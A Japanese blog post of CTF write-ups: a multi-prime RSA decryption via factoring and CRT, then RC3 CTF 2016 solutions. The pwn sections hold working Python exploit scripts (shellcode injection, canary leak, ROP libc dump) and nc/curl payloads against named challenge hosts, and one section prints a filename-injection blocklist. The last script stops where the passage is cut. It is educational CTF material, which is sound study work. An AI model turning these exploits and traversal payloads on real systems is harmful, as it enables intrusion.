Multi-prime RSAを復号してみる(Hack The Vote 2016 The Best RSA)

この記事は「CTF Advent Calendar 2016」9日目の記事です。

RSA暗号は二つの素数p, qから計算されるn=p*qを公開鍵として暗号化を行うものであるが、これを一般化したものとしてMulti-prime RSAがある。 ここでは、Multi-prime RSAの概要を説明し、これを題材にした問題を紹介する。

Multi-prime RSA

RSA暗号は、二つの素数p, qとある条件を満たす整数eを用いて、次のような式をもとに計算される。

n = p * q
phi(n) = (p-1) * (q-1)
d = e^(-1) mod phi(n)
c = m^e mod n
m = c^d mod n

mは平文、cは暗号文を表し、公開鍵はnおよびe、秘密鍵はdである。 また、phi(n)はオイラーのトーシェント関数と呼ばれる関数であり、nと互いに素となるn以下の自然数の個数を表す。 上の場合、p, qが素数であることから、その値は(p-1)*(q-1)となる。

ここで、nを任意の自然数に一般化し、互いに異なる素数p1, p2, …, pmと正の整数k1, k2, …, kmを用いて次のように表される場合を考える。

n = p1^k1 * p2*k2 * … * pm^km

このような場合でも、オイラーのトーシェント関数の定義に基づきphi(n)を計算することにより、上と同様の関係が成り立つ。 これは(特にk1, k2, …, kmがすべて1の場合を指して)Multi-prime RSAと呼ばれる。 このとき、phi(n)の具体的な値は次のようになる。

phi(n) = phi(p1^k1) * phi(p2*k2) * … * phi(pm^km)
       = (p1^(k1-1) * (p1-1)) * (p2^(k2-1) * (p2-1)) * … * (pm^(km-1) * (pm-1))

RSA同様、Multi-prime RSAの安全性も素因数分解の困難さに基づいている。 したがって、nが現実的な時間で素因数分解できる場合、Multi-prime RSAは破られる。

Hack The Vote 2016 The Best RSA (Crypto 250)

この問題では、e、n、cの三つの数字が与えられる。 nは524283ビットの非常に大きな値であるが、下位の桁を見ると5で割り切れることがわかる。

$ wget "https://raw.githubusercontent.com/ctfs/write-ups-2016/master/hack-the-vote-ctf-2016/crypto/the-best-rsa-250/the-best-rsa.txt"

$ mv the-best-rsa.txt the_best_rsa.py

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from the_best_rsa import *
>>> len(bin(n))-2
524283
>>> n % 1000
875L

実際にnを素因数分解してみると、次のように素因数分解することができる。

# factor.py
from the_best_rsa import *
from collections import Counter

c = Counter()
i = 3
while True:
    while i*i <= n:
        if n % i == 0:
            c[i] += 1
            n = n // i
            break
        i += 2
    else:
        c[n] += 1
        break

divisors = c.items()
print divisors
$ python factor.py
[(3, 1545), (5, 1650), (7, 1581), (137, 1547), (11, 1588), (13, 1595), (17, 1596), (19, 1553), (149, 1572), (23, 1579), (29, 1549), (31, 1613), (163, 1589), (37, 1594), (167, 1578), (41, 1524), (43, 1538), (173, 1617), (47, 1571), (229, 1610), (179, 1556), (53, 1635), (59, 1556), (151, 1549), (61, 1605), (181, 1582), (193, 1549), (67, 1606), (197, 1520), (71, 1589), (73, 1571), (241, 1564), (79, 1548), (83, 1630), (139, 1638), (89, 1535), (199, 1574), (223, 1610), (97, 1456), (227, 1600), (131, 1540), (101, 1514), (103, 1583), (233, 1564), (107, 1591), (109, 1529), (239, 1556), (157, 1600), (113, 1601), (211, 1544), (251, 1493), (191, 1564), (127, 1565)]

ここで、それぞれのタプルは上の式における (pi, ki) (i=1,…,m) を表している。

この結果と上に示した定義から直接phi(n)およびdを求めることもできるが、dはphi(n)と同じ程度に大きな値となるため復号時のd乗の計算に非常に時間がかかる。 そこで、RSA同様に中国の剰余定理を用いて復号を高速化することを考える。 中国の剰余定理は剰余の計算を法の因数ごとに分解できるという定理であり、Multi-prime RSAの場合もphi(n)がphi(pi^ki)の積で表されることからRSAと同様の計算により適用することができる。 具体的には、ni=pi^kiそれぞれについてphi(ni)、di、miを順に求め、得られたniとmiの組に中国の剰余定理を適用することで解を得る。

# solve.py
from the_best_rsa import *
import gmpy

divisors = [(3, 1545), (5, 1650), (7, 1581), (137, 1547), (11, 1588), (13, 1595), (17, 1596), (19, 1553), (149, 1572), (23, 1579), (29, 1549), (31, 1613), (163, 1589), (37, 1594), (167, 1578), (41, 1524), (43, 1538), (173, 1617), (47, 1571), (229, 1610), (179, 1556), (53, 1635), (59, 1556), (151, 1549), (61, 1605), (181, 1582), (193, 1549), (67, 1606), (197, 1520), (71, 1589), (73, 1571), (241, 1564), (79, 1548), (83, 1630), (139, 1638), (89, 1535), (199, 1574), (223, 1610), (97, 1456), (227, 1600), (131, 1540), (101, 1514), (103, 1583), (233, 1564), (107, 1591), (109, 1529), (239, 1556), (157, 1600), (113, 1601), (211, 1544), (251, 1493), (191, 1564), (127, 1565)]

# https://en.wikipedia.org/wiki/Euler%27s_totient_function
n_ary = []
a_ary = []
for p, k in divisors:
    pk = p ** k
    phi = pk * (p-1)/p
    d = gmpy.invert(e, phi)
    mk = pow(c, d, pk)
    n_ary.append(pk)
    a_ary.append(mk)

# http://rosettacode.org/wiki/Chinese_remainder_theorem#Python
def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)

    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * gmpy.invert(p, n_i) * p
    return sum % prod

m = chinese_remainder(n_ary, a_ary)
m = "%x" % m
print m.decode('hex')

平文をファイルに書き出し、fileコマンドで調べるとGIF画像であることがわかる。

$ python solve.py >result.bin

$ file result.bin
result.bin: GIF image data, version 89a, 512 x 316

$ mv result.bin result.gif

f:id:inaz2:20161202110000g:plain

関連リンク

RC3 CTF 2016 供養(Writeup)

RC3 CTF 2016に参加。2940ptで54位。

What's your virus? (Trivia 20)

ILOVEYOU

Horse from Tinbucktu (Trivia 30)

Zeus

Love Bomb (Trivia 40)

Stuxnet

Infringing memes (Trivia 50)

PIPA

Logmein (Reversing 100)

よくあるタイプのcrackme。angrで解いた。

import angr

p = angr.Project('./logmein', load_options={'auto_load_libs': False})
s = p.factory.entry_state()
initial_path = p.factory.path(s)
pg = p.factory.path_group(initial_path)
e = pg.explore(find=0x4007f0, avoid=0x4007c0)

if len(e.found) > 0:
    s = e.found[0].state
    print "%r" % s.posix.dumps(0)
# python solve.py
'RC3-2016-XORISGUD\x00\x80\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'

# ./logmein
Welcome to the RC3 secure password guesser.
To continue, you must enter the correct password.
Enter your guess: RC3-2016-XORISGUD
You entered the correct password!
Great job!

Who's a good boy? (Web 100)

トップページで読み込まれているCSSの最後にflagがある。

/*here's a flag :)*/
flag:RC3-2016-CanineSS

Bork Bork (Web 300)

次のようなリクエストを投げるとcatコマンドのエラー出力が出てくる。

$ curl -v -d 'bork=' https://ctf.rc3.club:3100/bork
(snip)
< HTTP/1.0 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 367
< Server: Werkzeug/0.11.11 Python/2.7.12
< Date: Sun, 20 Nov 2016 16:32:48 GMT
<
<!DOCTYPE html>
<html>
    <head>
        <link rel="stylesheet" type="text/css" href="/static/bork.css">
        <link rel="shortcut icon" href="/static/favicon.ico">
    </head>
    <body>
        <h1>HERE'S YOUR BORK!!!!</h1>
        <iframe width="854" height="480" src="cat: borks/: Is a directory?autoplay=1&loop=1" frameborder="0"></iframe>
    </body>
* STATE: PERFORM => DONE handle 0x6000579b0; line 1955 (connection #0)
* multi_done
* Closing connection 0
* The cache now contains 0 members
* TLSv1.2 (OUT), TLS alert, Client hello (1):
</html>

ServerヘッダからPythonのHTTPサーバWerkzeugが動いていることがわかるので、スクリプト名を推測してソースコードを表示させてみる。

$ curl -d 'bork=../bork.py' https://ctf.rc3.club:3100/bork
<!DOCTYPE html>
<html>
    <head>
        <link rel="stylesheet" type="text/css" href="/static/bork.css">
        <link rel="shortcut icon" href="/static/favicon.ico">
    </head>
    <body>
        <h1>HERE'S YOUR BORK!!!!</h1>
        <iframe width="854" height="480" src="from flask import Flask, render_template, request, send_from_directory
import os
import commands
import subprocess as sub

app = Flask(__name__)

#Select your bork
@app.route(&#39;/&#39;, methods=[&#39;GET&#39;])
def index():
    return render_template(&#34;index.html&#34;)

@app.route(&#39;/favicon.ico&#39;, methods=[&#39;GET&#39;])
def favicon():
    return send_from_directory(os.path.join(app.root_path, &#39;static&#39;),
            &#39;favicon.ico&#39;)

@app.route(&#39;/bork&#39;, methods=[&#39;POST&#39;])
def bork():
    filename = request.form[&#34;bork&#34;]
    print &#39;&#34;&#39; + filename + &#39;&#34;&#39;

    #had to remove / and .. because without that you can&#39;t get ../bork.txt
    badchars = [&#39;;&#39;, &#39;&gt;&#39;, &#39;&lt;&#39;, &#39;|&#39;, &#39;$&#39;, &#39;`&#39;, &#39;(&#39;, &#39;)&#39;, &#34;mv&#34;, &#34;rm&#34;, &#34;cp&#34;, &#34;python&#34;, &#34;perl&#34;, &#34;ruby&#34;, &#34;bash&#34;, &#34;zsh&#34;, &#39;~&#39;, &#39;*&#39;, &#39;-&#39;]
    for bad in badchars:
        if bad in filename:
            print &#34;found bad character&#34;
            return render_template(&#34;sad.html&#34;)

    bork = commands.getstatusoutput(&#39;cat borks/&#39; + filename)

    #so subprocess errors for some reason? literally ran the same script which is in /tmp/cmd.py.
    #that script works, but when run in flask it doesn&#39;t work? not sure why.
    #next time just use perl or php. they have great direct command line access which makes for
    #super easy command injection

    #cmdList = [&#39;bin/sh&#39;, &#39;-c&#39;, &#39;cat borks/&#39; + filename]
    #p = sub.Popen(cmdList, stdout=sub.PIPE, stderr=sub.PIPE)
    #bork, errors = p.communicate()
    #should probably check errors

    #return render_template(&#34;bork.html&#34;, bork=bork)
    return render_template(&#34;bork.html&#34;, bork=bork[1])

if __name__ == &#34;__main__&#34;:
    try:
        app.run(host=&#39;0.0.0.0&#39;, port=&#39;9000&#39;)
    except Exception as e:
        print &#34;Exception:&#34;
        print e?autoplay=1&loop=1" frameborder="0"></iframe>
    </body>
</html>

コメントを参考にbork.txtを表示させてみるとflagが得られた。

$ curl -d 'bork=../bork.txt' https://ctf.rc3.club:3100/bork
<!DOCTYPE html>
<html>
    <head>
        <link rel="stylesheet" type="text/css" href="/static/bork.css">
        <link rel="shortcut icon" href="/static/favicon.ico">
    </head>
    <body>
        <h1>HERE'S YOUR BORK!!!!</h1>
        <iframe width="854" height="480" src="RC3-2016-L057d0g3?autoplay=1&loop=1" frameborder="0"></iframe>
    </body>
</html>

Salad (Crypto 100)

シーザー暗号。

import string

c = '7sj-ighm-742q3w4t'
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

for i in xrange(len(chars)):
    table = string.maketrans(chars, chars[i:] + chars[:i])
    print c.translate(table)
$ python test.py
7sj-ighm-742q3w4t
8tk-jhin-853r4x5u
9ul-kijo-964s5y6v
avm-ljkp-a75t6z7w
(snip)
Rc3-2016-ROMaNgOd
(snip)

Calculus (Crypto 200)

微積分の書かれたGoogle Documentが与えられる。計算結果とHintから推測した。

200: There are no symbols in the flag

a
n^2
t^3
i^4
2*d^5
e^6
r^7+r^5+r^4+r+1
v^8+v^7+v^4+v^2+9*v

RC3-2016-antiderv

Cats (Crypto 300)

gif画像の各フレームで表示されている猫の数を数え、アルファベットに置き換えてみると次のようになる。

nums = [14, 9, 1, 20, 23, 15, 5, 13]
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
s = ''
for n in nums:
    s += chars[n-1]
print s
$ python test.py
NIATWOEM

先頭がMEOWとなると推測し、逆順に並び換えたものを送ると通った。

RC3-2016-MEOWTAIN

My Lil Droid (Forensics 100)

apkファイルが与えられる。build-data.propertiesbase64っぽい文字列があり、デコードするとflagが得られる。

$ unzip youtube.apk

$ cat build-data.properties
build.target=blaze-out/intel-linux-android-4.8-libcxx-x86-opt/bin/java/com/google/android/gmscore/integ/client/1p_monolithic_raw_pre_munge_deploy.jar
build.citc.snapshot=-1
build.verifiable=1
build.client=build-secure-info\:(SrcFS)
main.class=
build.label=gmscore_v3_RC21_SDK
build.tool=Blaze, release blaze-2016.04.14-4 (mainline @119748905)
build.client_mint_status=1
build.build_id=950d1ddb-9c1f-4bb8-b5b6-f3752bb22c0c
build.gplatform=intel-linux-android-4.8-libcxx-x86
build.depot.path=//depot/branches/gmscore_apks_release_branch/120490875.2/google3
build.versionmap=map 120490875 default { // } import buildenv/9410;
build.time=Tue May 31 15\:02\:21 2016 (1464732141)
build.location=social-builder-pool-gmscore@voz22\:/google/src/files/123676479/depot/branches/gmscore_apks_release_branch/120490875.2/READONLY
build.timestamp.as.int=1464732141
build.changelist.as.int=123676479
build.timestamp=1464732141
build.changelist=123676479
UkMz-2016-R09URU0yMQ==

$ echo UkMz | base64 -d
RC3

$ echo R09URU0yMQ== | base64 -d
GOTEM21
RC3-2016-GOTEM21

Graphic Design (Forensics 200)

3DデータのOBJファイルが与えられる。コメントを見ると何かとステゴザウルスの二つの物体があるようなので、ステゴザウルス部分を取り除いてみる。

$ head forensics200.obj
# Blender v2.78 (sub 0) OBJ File: ''
# www.blender.org
mtllib forensics200.mtl
o def_not_the_flag_Text.002
v 2.131841 14.053224 -7.976235
v 1.879015 13.982867 -7.720026
v 1.927970 13.935733 -7.684662
v 2.078477 13.977615 -7.837183
v 2.147170 13.716490 -7.514853
v 2.407256 13.788866 -7.778421

$ grep '^o' forensics200.obj
o def_not_the_flag_Text.002
o stegosaurus

$ awk 'NR==1,/o stegosaurus/{print}' forensics200.obj >a.obj

これをMesh Viewerで表示してみると、flagが得られた。

f:id:inaz2:20161121200317p:plain

RC3-2016-St3GG3rz

Breaking News (Forensics 300)

20個のzipファイルが与えられる。hexdumpを見るとところどころにbase64っぽい文字列がまぎれており、それぞれデコードして繋げることでflagが得られる。

$ \ls -1 -v
Chapter0.zip
Chapter1.zip
Chapter2.zip
Chapter3.zip
Chapter4.zip
Chapter5.zip
Chapter6.zip
Chapter7.zip
Chapter8.zip
Chapter9.zip
Chapter10.zip
Chapter11.zip
Chapter12.zip
Chapter13.zip
Chapter14.zip
Chapter15.zip
Chapter16.zip
Chapter17.zip
Chapter18.zip
Chapter19.zip

$ \ls -1 -v | xargs -n1 strings | grep -v '.txt'
GINg
L+^=
<U<i%[
GINg
D{N1
!Rk\
^hE3n
GIKZo=f
GIKZo=f
UkMK
\DjX
pZzU
NR!R9
K4r>&
K)VH,JU(
My0yMAo=
MTYtRFUK
;X c
`s;
(yCc
_/_PK
Wow, these Queebloid folks do not fool around.
H,Q/V(
,Q(NM
0gZ+
?6(U
Y*mO
.Xt]
3oc$M8e
S1lGCg==
2VD%
6[in
,QH,(HM,*V(
QkxTCg==
*Cut to black*

$ echo UkMK | base64 -d
RC

$ echo My0yMAo= | base64 -d
3-20

$ echo MTYtRFUK | base64 -d
16-DU

$ echo S1lGCg== | base64 -d
KYF

$ echo QkxTCg== | base64 -d
BLS
RC3-2016-DUKYFBLS

Dirty Birdy (Forensics 400)

ディスクイメージが与えられる。FTK Imagerで開くとsecretfilesディレクトリがあるので、エクスポートする。

f:id:inaz2:20161121202101p:plain

gitリポジトリの状態を見るとPGP秘密鍵が削除されていることがわかるので、git checkoutで復元する。

$ ls
document.txt*  README.md*  Workbook1.xlsx.gpg*

$ git status
error: unable to open object pack directory: .git/objects/pack: Not a directory
On branch master
Your branch is up-to-date with 'origin/master'.
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git checkout -- <file>..." to discard changes in working directory)

        deleted:    private.key

Untracked files:
  (use "git add <file>..." to include in what will be committed)

        README.md
        Workbook1.xlsx.gpg
        document.txt

no changes added to commit (use "git add" and/or "git commit -a")

$ git checkout private.key
error: unable to open object pack directory: .git/objects/pack: Not a directory

$ cat private.key
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: GnuPG v1

(snip)
-----END PGP PRIVATE KEY BLOCK-----

$ file Workbook1.xlsx.gpg
Workbook1.xlsx.gpg: PGP RSA encrypted session key - keyid: 1246B951 2DB12CE2 RSA (Encrypt or Sign) 1024b .

復元したPGP秘密鍵Excelファイルを復号すると、パスワード付きExcelファイルが得られる。 パスワードのような文字列がdocument.txtにあるが、これにはスペルミスがあり、実際にはpassword123で開くことができた。

$ gpg --import private.key
gpg: key 8FFDF6D6: secret key imported
gpg: /home/user/.gnupg/trustdb.gpg: trustdb created
gpg: key 8FFDF6D6: public key "ThugG (lolz) <nope@gmail.com>" imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

$ gpg --output Workbook1.xlsx --decrypt Workbook1.xlsx.gpg
gpg: encrypted with 1024-bit RSA key, ID E22CB12D, created 2016-11-18
      "ThugG (lolz) <nope@gmail.com>"

$ cat document.txt
passowrd123

2枚目のシートに白文字でflagが書かれている。

f:id:inaz2:20161121200449p:plain

RC3-2016-SNEAKY21

Fencepost (Pwn 150)

IDA Proで開いてアセンブリコードを読むと、[rbp+var_4]を0xFFFFFFFFで初期化した後、0と比較していることがわかる。 また、scanf関数の箇所にスタックバッファオーバーフロー脆弱性がある。

.text:0000000000400823 ; =============== S U B R O U T I N E =======================================
.text:0000000000400823
.text:0000000000400823 ; Attributes: bp-based frame
.text:0000000000400823
.text:0000000000400823 sub_400823      proc near               ; DATA XREF: main+3Ao
.text:0000000000400823
.text:0000000000400823 var_54          = dword ptr -54h
.text:0000000000400823 s2              = byte ptr -50h
.text:0000000000400823 var_48          = qword ptr -48h
.text:0000000000400823 var_40          = dword ptr -40h
.text:0000000000400823 var_3C          = word ptr -3Ch
.text:0000000000400823 s               = byte ptr -30h
.text:0000000000400823 var_4           = dword ptr -4
.text:0000000000400823
.text:0000000000400823                 push    rbp
.text:0000000000400824                 mov     rbp, rsp
.text:0000000000400827                 sub     rsp, 60h
.text:000000000040082B                 mov     [rbp+var_54], edi
.text:000000000040082E                 mov     [rbp+var_4], 0FFFFFFFFh
.text:0000000000400835                 mov     rax, '-eht-ton'
.text:000000000040083F                 mov     qword ptr [rbp+s2], rax
.text:0000000000400843                 mov     rax, 'sap-laer'
.text:000000000040084D                 mov     [rbp+var_48], rax
.text:0000000000400851                 mov     [rbp+var_40], 'rows'
.text:0000000000400858                 mov     [rbp+var_3C], 'd'
.text:000000000040085E                 lea     rdi, aWelcomeToTheRc ; "=== Welcome to the RC3 Secure CTF Login"...
.text:0000000000400865                 call    _puts
.text:000000000040086A                 lea     rdi, aPleaseEnterThe ; "=== Please enter the correct password b"...
.text:0000000000400871                 call    _puts
.text:0000000000400876
.text:0000000000400876 loc_400876:                             ; CODE XREF: sub_400823+ACj
.text:0000000000400876                 lea     rdi, format     ; "Password: "
.text:000000000040087D                 mov     eax, 0
.text:0000000000400882                 call    _printf
.text:0000000000400887                 lea     rax, [rbp+s]
.text:000000000040088B                 mov     rsi, rax
.text:000000000040088E                 lea     rdi, aS         ; "%s"
.text:0000000000400895                 mov     eax, 0
.text:000000000040089A                 call    ___isoc99_scanf
.text:000000000040089F                 lea     rax, [rbp+s]
.text:00000000004008A3                 mov     rdi, rax        ; s
.text:00000000004008A6                 call    _strlen
.text:00000000004008AB                 add     rax, 1
.text:00000000004008AF                 mov     [rbp+rax+s], 0
.text:00000000004008B4                 cmp     [rbp+var_4], 0
.text:00000000004008B8                 jz      short loc_4008D1
.text:00000000004008BA                 lea     rdx, [rbp+s2]
.text:00000000004008BE                 lea     rax, [rbp+s]
.text:00000000004008C2                 mov     rsi, rdx        ; s2
.text:00000000004008C5                 mov     rdi, rax        ; s1
.text:00000000004008C8                 call    _strcmp
.text:00000000004008CD                 test    eax, eax
.text:00000000004008CF                 jnz     short loc_400876
.text:00000000004008D1
.text:00000000004008D1 loc_4008D1:                             ; CODE XREF: sub_400823+95j
.text:00000000004008D1                 cmp     [rbp+var_4], 0
.text:00000000004008D5                 jnz     short locret_4008E1
.text:00000000004008D7                 mov     eax, 0
.text:00000000004008DC                 call    sub_400810
.text:00000000004008E1
.text:00000000004008E1 locret_4008E1:                          ; CODE XREF: sub_400823+B2j
.text:00000000004008E1                 leave
.text:00000000004008E2                 retn
.text:00000000004008E2 sub_400823      endp

スタックバッファオーバーフローを用いて[rbp+var_4]を0で上書きすると、flagが得られた。

$ perl -e 'print "\x00"x48 . "\n"' | nc 52.71.70.98 2091
=== Welcome to the RC3 Secure CTF Login ===
=== Please enter the correct password below ===
Password: RC3-2016-STACKPWN

IMS Easy (Pwn 150)

NX無効の32 bit ELF実行ファイルが与えられる。

$ file IMS-easy
IMS-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=9da37e8640249fe6a37b5020e1ac6c5beecfe7a7, not stripped

$ readelf -a IMS-easy
(snip)
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x08048000 0x08048000 0xa6150 0xa6150 R E 0x1000
  LOAD           0x0a6f58 0x080eff58 0x080eff58 0x01028 0x023ac RW  0x1000
  NOTE           0x0000f4 0x080480f4 0x080480f4 0x00044 0x00044 R   0x4
  TLS            0x0a6f58 0x080eff58 0x080eff58 0x00010 0x00028 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
  GNU_RELRO      0x0a6f58 0x080eff58 0x080eff58 0x000a8 0x000a8 R   0x1
(snip)

アセンブリコードを読むと、インデックスの範囲チェックがされておらず、スタック上の任意のデータを読み書きできる脆弱性があることがわかる。 そこで、saved ebpを読み出し、リターンアドレスをスタック上に配置したシェルコードの先頭に書き換えるコードを書く。

from minipwn import *
import re

def add_record(s, _id, code):
    recvuntil(s, 'Choose: ')
    sendline(s, '1')
    recvuntil(s, 'Enter product ID: ')
    sendline(s, str(_id))
    recvuntil(s, 'Enter product code: ')
    sendline(s, code)
    recvuntil(s, 'IMS\n')

def delete_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '2')
    recvuntil(s, 'Enter index to delete: ')
    sendline(s, str(index))
    recvuntil(s, 'IMS\n')

def view_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '3')
    recvuntil(s, 'Enter the index of the product you wish to view: ')
    sendline(s, str(index))
    data = recvuntil(s, 'There ')[:-6]
    recvuntil(s, 'IMS\n')
    return data

def do_exit(s):
    recvuntil(s, 'Choose: ')
    sendline(s, '4')

#s = connect_process(['./IMS-easy'])
s = socket.create_connection(('ims.ctf.rc3.club', 7777))

# leak saved ebp
data = view_record(s, 5)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    data = m.group(2)
    saved_ebp = u32(data[:4])
    print "[+] saved_ebp = %x" % saved_ebp
    addr_buf = saved_ebp - 0xe0
    print "[+] addr_buf = %x" % addr_buf

# put shellcode on the stack
sc = shellcode['x86']
print "[+] len(shellcode) = %d" % len(sc)
add_record(s, u32(sc[8:12]), sc[:8])
add_record(s, u32(sc[20:].ljust(4)), sc[12:20])
add_record(s, 0, 'AAAABBBB')
add_record(s, 0, 'AAAABBBB')
add_record(s, 0, 'AAAABBBB')
add_record(s, 0, 'AAAABBBB')

# overwrite eip
add_record(s, addr_buf, 'AAAABBBB')

do_exit(s)
interact(s)

起動したシェルから問題文に与えられたファイルを読み出すとflagが得られる。

$ python test.py
[+] saved_ebp = ffba30cc
[+] addr_buf = ffba2fec
[+] len(shellcode) = 23
id
uid=1002(IMS-easy) gid=1002(IMS-easy) groups=1002(IMS-easy)
cat /home/IMS-easy/flag.txt
RC3-2016-REC0RDZ-G0T-R3KT

IMS Hard (Pwn 400)

上の問題と同じ実行ファイルだが、NXとStack canaryが有効になっている。

$ file IMS-hard
IMS-hard: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bf20997cf9884ed329fc6d3bf91114c79b919868, not stripped

$ readelf -a IMS-hard
(snip)
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00e74 0x00e74 R E 0x1000
  LOAD           0x000eb0 0x08049eb0 0x08049eb0 0x00158 0x0019c RW  0x1000
  DYNAMIC        0x000ebc 0x08049ebc 0x08049ebc 0x000f8 0x000f8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x000d3c 0x08048d3c 0x08048d3c 0x0003c 0x0003c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO      0x000eb0 0x08049eb0 0x08049eb0 0x00150 0x00150 R   0x1
(snip)
Relocation section '.rel.plt' at offset 0x438 contains 15 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049fc0  00000107 R_386_JUMP_SLOT   00000000   setbuf@GLIBC_2.0
08049fc4  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
08049fc8  00000307 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
08049fcc  00000407 R_386_JUMP_SLOT   00000000   memcpy@GLIBC_2.0
08049fd0  00000507 R_386_JUMP_SLOT   00000000   fgets@GLIBC_2.0
08049fd4  00000607 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
08049fd8  00000707 R_386_JUMP_SLOT   00000000   fwrite@GLIBC_2.0
08049fdc  00000807 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
08049fe0  00000907 R_386_JUMP_SLOT   00000000   __gmon_start__
08049fe4  00000a07 R_386_JUMP_SLOT   00000000   strtoul@GLIBC_2.0
08049fe8  00000b07 R_386_JUMP_SLOT   00000000   strchr@GLIBC_2.0
08049fec  00000c07 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
08049ff0  00000d07 R_386_JUMP_SLOT   00000000   memset@GLIBC_2.0
08049ff4  00000e07 R_386_JUMP_SLOT   00000000   strncpy@GLIBC_2.0
08049ff8  00000f07 R_386_JUMP_SLOT   00000000   strtol@GLIBC_2.0
(snip)

また、Hintから独自にコンパイルしたlibcが使われていることがわかる。

400: There's a custom libc that is making your life harder :(

そこで、JIT-ROP(Dynamic ROP)を行うことにする。 スタックからstdoutのアドレス、stack canary、main関数からのリターンアドレス(__libc_start_main関数内を指すアドレス)を読み出し、fwrite関数でリターンアドレス以降のメモリを読み出すコードを書くと次のようになる。

from minipwn import *
import re

def add_record(s, _id, code):
    recvuntil(s, 'Choose: ')
    sendline(s, '1')
    recvuntil(s, 'Enter product ID: ')
    sendline(s, str(_id))
    recvuntil(s, 'Enter product code: ')
    sendline(s, code)
    recvuntil(s, 'IMS\n')

def delete_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '2')
    recvuntil(s, 'Enter index to delete: ')
    sendline(s, str(index))
    recvuntil(s, 'IMS\n')

def view_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '3')
    recvuntil(s, 'Enter the index of the product you wish to view: ')
    sendline(s, str(index))
    data = recvuntil(s, 'There ')[:-6]
    recvuntil(s, 'IMS\n')
    return data

def do_exit(s):
    recvuntil(s, 'Choose: ')
    sendline(s, '4')

#s = connect_process(['./IMS-hard'])
s = socket.create_connection(('ims.ctf.rc3.club', 8888))

# leak stdout
data = view_record(s, -13)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    data = m.group(2)
    libc_stdout = u32(data[4:8])
    print "[+] libc_stdout = %x" % libc_stdout

# leak canary
data = view_record(s, 5)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    canary = int(m.group(1))
    print "[+] canary = %x" % canary

# leak libc address
data = view_record(s, 7)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    saved_ebp = int(m.group(1)) % 0x100000000
    print "[+] saved_ebp = %x" % saved_ebp
    data = m.group(2)
    addr_libc = u32(data[:4])
    print "[+] addr_libc = %x" % addr_libc

# put canary on stack
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, canary, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')

# overwrite eip
plt_fwrite = 0x8048550

buf = p32(plt_fwrite) + 'AAAA' + p32(addr_libc) + p32(0x01010101) + p32(0x1) + p32(libc_stdout)

add_record(s, u32(buf[8:12]), buf[:8])
add_record(s, u32(buf[20:24]), buf[12:20])

do_exit(s)

print '[+] dump libc memory'
f = open('dump.bin', 'wb')
while True:
    data = s.recv(8192)
    if not data:
        break
    f.write(data)
f.close()

interact(s)
$ python test.py
[+] libc_stdout = f775bac0
[+] canary = -4bdca00
[+] saved_ebp = ff8099d4
[+] addr_libc = f75cdad3
[+] dump libc memory
*** Connection closed by remote host ***

$ ls -al dump.bin
-rw-r--r-- 1 user user 1639091 Nov 20 21:33 dump.bin

次に、読み出したメモリからexecve("/bin/sh", NULL, NULL)を呼ぶために必要なgadgetのオフセットを探し、これを用いてROPを行うコードを書く。

from minipwn import *
import re

def add_record(s, _id, code):
    recvuntil(s, 'Choose: ')
    sendline(s, '1')
    recvuntil(s, 'Enter product ID: ')
    sendline(s, str(_id))
    recvuntil(s, 'Enter product code: ')
    sendline(s, code)
    recvuntil(s, 'IMS\n')

def delete_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '2')
    recvuntil(s, 'Enter index to delete: ')
    sendline(s, str(index))
    recvuntil(s, 'IMS\n')

def view_record(s, index):
    recvuntil(s, 'Choose: ')
